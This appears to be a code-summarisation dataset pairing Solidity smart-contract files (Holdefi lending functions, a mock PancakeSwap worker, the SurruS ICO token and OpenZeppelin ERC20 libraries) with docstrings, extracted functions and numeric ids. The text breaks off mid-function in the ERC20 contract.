supplies[account][market].accumulatedInterest = supplyData.interest;
supplies[account][market].lastInterestIndex = supplyData.currentIndex;
beforeChangeSupplyRate(market);
marketAssets[market].totalSupply = marketAssets[market].totalSupply.sub(remaining);
transferFromHoldefi(msg.sender, market, transferAmount);
emit WithdrawSupply(
msg.sender,
account,
market,
transferAmount,
supplyData.balance,
supplyData.interest,
supplyData.currentIndex
);
}
/// @notice Perform collateralize operation
function collateralizeInternal (address account, address collateral, uint256 amount)
internal
whenNotPaused("collateralize")
collateralIsActive(collateral)
{
if (collateral != ethAddress) {
transferToHoldefi(address(holdefiCollaterals), collateral, amount);
}
else {
transferFromHoldefi(address(holdefiCollaterals), collateral, amount);
}
uint256 balance = collaterals[account][collateral].balance.add(amount);
collaterals[account][collateral].balance = balance;
collaterals[account][collateral].lastUpdateTime = block.timestamp;
collateralAssets[collateral].totalCollateral = collateralAssets[collateral].totalCollateral.add(amount);
emit Collateralize(msg.sender, account, collateral, amount, balance);
}
/// @notice Perform withdraw collateral operation
function withdrawCollateralInternal (address account, address collateral, uint256 amount)
internal
whenNotPaused("withdrawCollateral")
{
(uint256 balance,, uint256 borrowPowerValue, uint256 totalBorrowValue,) =
getAccountCollateral(account, collateral);
require (borrowPowerValue != 0, "Borrow power should not be zero");
uint256 collateralNedeed = 0;
if (totalBorrowValue != 0) {
uint256 valueToLoanRate = holdefiSettings.collateralAssets(collateral).valueToLoanRate;
uint256 totalCollateralValue = totalBorrowValue.mul(valueToLoanRate).div(rateDecimals);
collateralNedeed = holdefiPrices.getAssetAmountFromValue(collateral, totalCollateralValue);
}
uint256 maxWithdraw = balance.sub(collateralNedeed);
uint256 transferAmount = amount;
if (transferAmount > maxWithdraw){
transferAmount = maxWithdraw;
}
balance = balance.sub(transferAmount);
collaterals[account][collateral].balance = balance;
collaterals[account][collateral].lastUpdateTime = block.timestamp;
collateralAssets[collateral].totalCollateral =
collateralAssets[collateral].totalCollateral.sub(transferAmount);
holdefiCollaterals.withdraw(collateral, msg.sender, transferAmount);
emit WithdrawCollateral(msg.sender, account, collateral, transferAmount, balance);
}
/// @notice Perform borrow operation
function borrowInternal (address account, address market, address collateral, uint256 amount, uint16 referralCode)
internal
whenNotPaused("borrow")
marketIsActive(market)
collateralIsActive(collateral)
{
require (
amount <= (marketAssets[market].totalSupply.sub(marketAssets[market].totalBorrow)),
"Amount should be less than cash"
);
(,, uint256 borrowPowerValue,,) = getAccountCollateral(account, collateral);
uint256 assetToBorrowValue = holdefiPrices.getAssetValueFromAmount(market, amount);
require (
borrowPowerValue >= assetToBorrowValue,
"Borrow power should be more than new borrow value"
);
MarketData memory borrowData;
(borrowData.balance, borrowData.interest, borrowData.currentIndex) = getAccountBorrow(account, market, collateral);
borrowData.balance = borrowData.balance.add(amount);
borrows[account][collateral][market].balance = borrowData.balance;
borrows[account][collateral][market].accumulatedInterest = borrowData.interest;
borrows[account][collateral][market].lastInterestIndex = borrowData.currentIndex;
collaterals[account][collateral].lastUpdateTime = block.timestamp;
beforeChangeSupplyRate(market);
marketAssets[market].totalBorrow = marketAssets[market].totalBorrow.add(amount);
transferFromHoldefi(msg.sender, market, amount);
emit Borrow(
msg.sender,
account,
market,
collateral,
amount,
borrowData.balance,
borrowData.interest,
borrowData.currentIndex,
referralCode
);
}
/// @notice Perform repay borrow operation
function repayBorrowInternal (address account, address market, address collateral, uint256 amount)
internal
whenNotPaused("repayBorrow")
{
MarketData memory borrowData;
(borrowData.balance, borrowData.interest, borrowData.currentIndex) =
getAccountBorrow(account, market, collateral);
uint256 totalBorrowedBalance = borrowData.balance.add(borrowData.interest);
require (totalBorrowedBalance != 0, "Total balance should not be zero");
uint256 transferAmount = amount;
if (transferAmount > totalBorrowedBalance) {
transferAmount = totalBorrowedBalance;
if (market == ethAddress) {
uint256 extra = amount.sub(transferAmount);
transferFromHoldefi(msg.sender, ethAddress, extra);
}
}
if (market != ethAddress) {
transferToHoldefi(address(this), market, transferAmount);
}
uint256 remaining = 0;
if (transferAmount <= borrowData.interest) {
borrowData.interest = borrowData.interest.sub(transferAmount);
}
else {
remaining = transferAmount.sub(borrowData.interest);
borrowData.interest = 0;
borrowData.balance = borrowData.balance.sub(remaining);
}
borrows[account][collateral][market].balance = borrowData.balance;
borrows[account][collateral][market].accumulatedInterest = borrowData.interest;
borrows[account][collateral][market].lastInterestIndex = borrowData.currentIndex;
collaterals[account][collateral].lastUpdateTime = block.timestamp;
beforeChangeSupplyRate(market);
marketAssets[market].totalBorrow = marketAssets[market].totalBorrow.sub(remaining);
emit RepayBorrow (
msg.sender,
account,
market,
collateral,
transferAmount,
borrowData.balance,
borrowData.interest,
borrowData.currentIndex
);
}
/// @notice Perform buy liquidated collateral operation
function buyLiquidatedCollateralInternal (address market, address collateral, uint256 marketAmount)
internal
whenNotPaused("buyLiquidatedCollateral")
{
uint256 debt = marketDebt[collateral][market];
require (marketAmount <= debt,
"Amount should be less than total liquidated assets"
);
uint256 collateralAmountWithDiscount =
getDiscountedCollateralAmount(market, collateral, marketAmount);
uint256 totalLiquidatedCollateral = collateralAssets[collateral].totalLiquidatedCollateral;
require (
collateralAmountWithDiscount <= totalLiquidatedCollateral,
"Collateral amount with discount should be less than total liquidated assets"
);
if (market != ethAddress) {
transferToHoldefi(address(this), market, marketAmount);
}
collateralAssets[collateral].totalLiquidatedCollateral = totalLiquidatedCollateral.sub(collateralAmountWithDiscount);
marketDebt[collateral][market] = debt.sub(marketAmount);
holdefiCollaterals.withdraw(collateral, msg.sender, collateralAmountWithDiscount);
emit BuyLiquidatedCollateral(market, collateral, marketAmount, collateralAmountWithDiscount);
}
/// @notice Perform deposit promotion reserve operation
function depositPromotionReserveInternal (address market, uint256 amount)
internal
marketIsActive(market)
{
if (market != ethAddress) {
transferToHoldefi(address(this), market, amount);
}
uint256 amountScaled = amount.mul(secondsPerYear).mul(rateDecimals);
marketAssets[market].promotionReserveScaled =
marketAssets[market].promotionReserveScaled.add(amountScaled);
emit PromotionReserveDeposited(market, amount);
}
/// @notice Perform deposit liquidation reserve operation
function depositLiquidationReserveInternal (address collateral, uint256 amount)
internal
collateralIsActive(ethAddress)
{
if (collateral != ethAddress) {
transferToHoldefi(address(holdefiCollaterals), collateral, amount);
}
else {
transferFromHoldefi(address(holdefiCollaterals), collateral, amount);
}
collateralAssets[ethAddress].totalLiquidatedCollateral =
collateralAssets[ethAddress].totalLiquidatedCollateral.add(msg.value);
emit LiquidationReserveDeposited(ethAddress, msg.value);
}
}
|
Returns promotion reserve for a given market at current time promotionReserveScaled is scaled by (secondsPerYear rateDecimals) market Address of the given market return promotionReserveScaled Promotion reserve of the given market return currentTime Current block timestamp
|
function getPromotionReserve (address market)
public
view
returns (uint256 promotionReserveScaled, uint256 currentTime)
{
(uint256 borrowRate, uint256 supplyRateBase,) = holdefiSettings.getInterests(market);
currentTime = block.timestamp;
uint256 allSupplyInterest = marketAssets[market].totalSupply.mul(supplyRateBase);
uint256 allBorrowInterest = marketAssets[market].totalBorrow.mul(borrowRate);
uint256 deltaTime = currentTime.sub(marketAssets[market].promotionReserveLastUpdateTime);
uint256 currentInterest = allBorrowInterest.sub(allSupplyInterest);
uint256 deltaTimeInterest = currentInterest.mul(deltaTime);
promotionReserveScaled = marketAssets[market].promotionReserveScaled.add(deltaTimeInterest);
}
| 13,514,334
|
pragma solidity 0.6.6;
import "@pancakeswap-libs/pancake-swap-core/contracts/interfaces/IPancakePair.sol";
import "../apis/pancake/IPancakeRouter02.sol";
import "../interfaces/IStrategy.sol";
import "../interfaces/IWorker.sol";
import "../interfaces/IPancakeMasterChef.sol";
import "../utils/HuskyMath.sol";
import "../utils/SafeToken.sol";
/// @notice Simplified version of worker for testing purpose.
contract MockPancakeswapV2CakeMaxiWorker is IWorker {
using SafeToken for address;
address public override baseToken;
address public override farmingToken;
constructor(address _baseToken, address _farmingToken) public {
baseToken = _baseToken;
farmingToken = _farmingToken;
}
/// @dev Work on the given position. Must be called by the operator.
/// @param user The original user that is interacting with the operator.
/// @param debt The amount of user debt to help the strategy make decisions.
/// @param data The encoded data, consisting of strategy address and calldata.
function work(uint256 /* id */, address user, uint256 debt, bytes calldata data)
external override
{
(address strat, bytes memory ext) = abi.decode(data, (address, bytes));
baseToken.safeTransfer(strat, baseToken.myBalance());
farmingToken.safeTransfer(strat, farmingToken.myBalance());
IStrategy(strat).execute(user, debt, ext);
baseToken.safeTransfer(msg.sender, baseToken.myBalance());
}
/// @dev Re-invest whatever the worker is working on.
function reinvest() external override {}
/// @dev Return the amount of wei to get back if we are to liquidate the position.
function health(uint256 /*id*/) external override view returns (uint256) { return 0; }
/// @dev Liquidate the given position to token. Send all token back to its Vault.
function liquidate(uint256 /*id*/) external override {}
/// @dev SetStretegy that be able to executed by the worker.
function setStrategyOk(address[] calldata /*strats*/, bool /*isOk*/) external override {}
/// @dev Set address that can be reinvest
function setReinvestorOk(address[] calldata /*reinvestor*/, bool /*isOk*/) external override {}
/// @dev LP token holds by worker
function lpToken() external override view returns (IPancakePair) { return IPancakePair(address(0)); }
}
|
LP token holds by worker
|
function lpToken() external override view returns (IPancakePair) { return IPancakePair(address(0)); }
| 6,367,615
|
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who)public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value)public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Contract with the transfer function
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev Gets the balance of user's address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev transfer token for another address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
}
/**
* @title Standard ERC20 token
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value)public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value)public returns (bool) {
require(_spender != address(0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title SurrusContract
*/
contract SurrusContract is StandardToken {
address owner;
string public constant name = "SurruS";
string public constant symbol = "SURR";
uint32 public constant decimals = 18;
string public description="tokens for ico";
uint256 public INITIAL_SUPPLY = 860000000000000000000000000; //860 000 000, 000 000 000 000 000 000
event Burn(address indexed burner, uint256 value);
/**
* @dev Constructor.
* Generating tokens During the creation of the contract.
*/
function SurrusContract() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
owner = msg.sender;
}
/**
* @dev Function is called at the end of an ICO.
*cIt sums number of sold tokens and sends 40 percent to separate address. Burns the rest tokens
*c40% of tokens are sent to the team
*/
function burnByOwner(address _comandWallet) onlyOwner() public {
uint256 soldTokens =totalSupply.sub(balanceOf(owner));
if(soldTokens>=520000000000000000000000000)
transfer( _comandWallet, balances[owner]);
else{
uint256 tmp = soldTokens.mul(40);
uint256 tokenTeam = tmp.div(100);
transfer( _comandWallet, tokenTeam);
burn(balances[msg.sender]);
}
}
function burn(uint256 _value) internal {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function setDescription(string _description) onlyOwner() public{
description = _description;
}
}
|
Constructor. Generating tokens During the creation of the contract./
|
function SurrusContract() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
owner = msg.sender;
}
| 629,428
|
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/Initializable.sol
pragma solidity >=0.4.24 <0.7.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract ContextUpgradeSafe is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20MinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Initializable, ContextUpgradeSafe, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name, string memory symbol) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name, symbol);
}
function __ERC20_init_unchained(string memory name, string memory symbol) internal initializer {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
